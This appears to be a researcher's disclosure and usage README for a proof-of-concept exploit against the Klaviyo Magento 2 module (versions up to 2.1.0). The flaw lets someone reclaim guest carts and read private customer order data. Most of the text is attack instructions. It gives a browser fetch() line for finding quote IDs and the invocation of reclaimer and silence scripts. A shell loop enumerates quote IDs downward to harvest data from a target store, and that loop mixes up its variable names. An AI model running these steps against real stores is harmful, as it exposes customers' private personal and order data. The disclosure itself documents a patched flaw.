April 28th I've found a endpoint in a thirth party module Klaviyo Magento 2 which allows to read private customer data from stores. It works by reclaiming any guest-cart as your own and reading the private data for the orders in the Magento API.
- Date: April 28 2021
- Who: Jeroen Boersma
- Target: Klaviyo Magento 2 module
- Version: 1.0.0 and up - 2.1.0
- Fixed in: 3.0.0 (May 25 2021)
A link to the working POC: https://asciinema.org/a/yudrTM5Xd0xJDWP5DyY2YT8Gi
- In the browser open target.
- Add something to the cart, goto checkout
- execute:
fetch('/rest/V1/guest-carts/' + checkoutConfig.quoteData.entity_id).then(x => x.json()).then(j => console.log(j))
(this will print the last quoteId)
./reclaimer.sh BASE_URL QUOTE_ID
-> check if everything is set./reclaimer.sh BASE_URL QUOTE_ID SESSION_ID
-> re-use session id./silence.sh BASE_URL QUOTE_ID
-> use for pipe tojq
export USER_AGENT=
use any user agentexport BASE_URL=
for the lazy typers,BASE_URL
can be ommited
export BASE_URL={TARGET};
quoteId={YOUR_TEST_QUOTE_ID};
while [ $quoteId -gt 0 ]; do ./silence ${quoteId} | jq .; quote_id=$[ ${quoteId} - 1 ]; sleep 3; done
# it's advisable to re-use the sessions, otherwise you maybe flooding the server with sessions
- automaticly create a quote to find last id to search for